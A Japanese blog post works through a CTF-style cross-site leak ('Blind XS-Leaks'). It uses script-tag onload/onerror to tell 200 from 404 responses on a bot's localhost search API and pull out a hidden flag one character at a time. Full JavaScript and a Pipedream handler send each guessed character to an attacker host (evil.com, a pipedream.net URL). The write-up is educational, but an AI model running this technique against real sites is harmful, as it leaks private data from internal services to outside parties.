よーでんのブログ

One for All,All for わんわんお!

Blind XS-LeaksとSOP回避の話

Blind XS-LeaksとSOP回避の話

勝手にBlindと呼んでるだけ。結構面白かったので紹介。

XS-Leaks

まずはXS-Leaksに軽く触れておく。
XS-Leaksの問題にありがちな機能として挙げられるのは以下。

  • コンテンツの公開・非公開設定
  • コンテンツの検索機能
    • 検索結果が0件の場合は404 Not Foundが返る
    • LAN内からの検索には非公開コンテンツもひっかかる
  • URLの報告機能
    • 報告したURLに問題サーバと同一LAN内のbotがアクセスしてくれる
    • アクセスの結果次第でレスポンスが変わる(今回はステータスコードをそのまま引き継いでくれる)

細かい挙動は違くても、上記のような機能がある場合はXS-Leaksができる可能性がある。
攻略方針は以下のような感じ。(flagのフォーマットはflag{...} と判明しているものとする)

http://victim.com/search?q=flag{a を報告 -> 404 Not Found
http://victim.com/search?q=flag{b を報告 -> 404 Not Found
http://victim.com/search?q=flag{c を報告 -> 404 Not Found
http://victim.com/search?q=flag{d を報告 -> 404 Not Found
         :
http://victim.com/search?q=flag{t を報告 -> 200 OK
flag{t までが確定する。
同様にflag{ta, flag{tb, flag{tc... を報告していき、一文字ずつ特定していく

Blind XS-Leaks

今回考えていく問題の機能は以下。

  • コンテンツの公開・非公開設定
  • コンテンツの検索機能
    • 検索結果が0件の場合は404 Not Foundが返る
    • LAN内からの検索には非公開コンテンツもひっかかる
  • URLの報告機能
    • 報告したURLに問題サーバと同一LAN内のbotがアクセスしてくれる

「アクセスの結果次第でレスポンスが変わる」という項目がなくなった。
flag{a を報告してもflag{t を報告しても、そのレスポンスに差異がなくなるため、先ほどの攻略方針は使えない。

しばらく考えて思いついたのは、「罠サイトにアクセスさせてfetch等でリクエストを送信しまくってそのステータスコードif文を書く」という方針だった。
とりあえずresponseを出力するコードを書いてみた。

<script>
var flag='flag{';
fetch('http://127.0.0.1:1337/api/entries/search?q='+flag, {
    mode: 'no-cors'
  })
  .then((response) => {
    console.log(response);
  });
</script>

Chromeで開くとCORSエラーになるため、Firefoxでやっていく。

Access to fetch at 'http://127.0.0.1:1337/api/entries/search?q=flag{' from origin 'http://[evil.com]' has been blocked by CORS policy: The request client is not a secure context and the resource is in more-private address space local.

ネットワークタブを開いたら、きちんと200 OKが返ってきていた。

f:id:y0d3n:20220312172139p:plain
200 OK

しかし、コンソールタブを開いたところ、responseからはステータスコードなどは取れそうになかった。

f:id:y0d3n:20220312161830p:plain
response

原因はSOPぽい。
異なるオリジンへのfetchをした際は、レスポンスの内容を読み込むことができない。

SOP回避

SOPの影響でfetchでは無理そうだったので、どうにかしてSOPを回避しながらクロスオリジンなリソースを読み込み、ステータスコードで条件分岐したい。

使えたのはHTMLのonloadだった。

<script>
var flag='flag{';
var abc = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_';
for (var i=0; i < abc.length; i++){
  const char = abc[i]
  const script = document.createElement("script");
  script.src = 'http://127.0.0.1:1337/api/entries/search?q=' + flag + char;
  script.onload = () => fetch('http://[evil.com]/?flag=' + flag + char);
  document.head.appendChild(script);
}
</script>

scriptタグのsrcを検索リクエストにし、ステータスコード200 OKだった場合のみ動くonloadevil.comにflagを報告する。

f:id:y0d3n:20220312163257p:plain
console

よ~~くみると、<script> のソース “http://127.0.0.1:1337/api/entries/search?q=flag{t" の読み込みに失敗しました。のエラーがないのがわかる。
読み込みに成功したため、onloadfetchが実行され、flag{tがアクセス履歴に残る。

f:id:y0d3n:20220312164349p:plain
アクセス履歴

これを何回も繰り返していけばflagが出る。が、面倒なので自動化する。

自動化

onloadfetchではなくwindow.locationなどを上書きして画面遷移にし、
?flag=flag{tでアクセスしてきた際にスクリプトの一行目をvar flag='flag{t';にするようなコードを書く。

RequestBinを使って、nodeで書いていく。
steps.trigger.event.query.flagでクエリパラメータのflagをとれるので、それでよしなに。
無限ループで無限に遷移してしまうのを防ぐためにエラーハンドリングも書いた。
(今回のapiはDBのLIKE句で判定しているのでflag{_でも200 OKになってしまう。_の扱いが非常に面倒だった)

export default defineComponent({
  async run({ steps, $ }) {
    let flag = '';
    if (steps.trigger.event.query) {
      flag = steps.trigger.event.query.flag;
    }
    let response = `<script>
    var flag='${flag}';
    var abc = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}!';
    var cnt = 0

    function err(char) {
      cnt++
      if (cnt == abc.length && flag[flag.length-1] !== '}') {
        window.location = 'http://eor9sxmvpxnktqb.m.pipedream.net?flag=' + flag + '_';
      }
    }

    for (var i=0; i < abc.length; i++){
      const char = abc[i];
      const script = document.createElement("script");
      script.src = 'http://127.0.0.1:1337/api/entries/search?q=' + flag + char;
      script.onload = () => window.location = 'http://eor9sxmvpxnktqb.m.pipedream.net?flag=' + flag + char;
      script.onerror = () => err(char);
      document.head.appendChild(script);
    }
    </script>`;

    await $.respond({
      status: 200,
      headers: {},
      body: response,
    })
  },
})

これをデプロイしてhttp://[evil.com]/?flag=を報告すると、再帰的に読み込んでいってflagを一度で特定できる。

デモ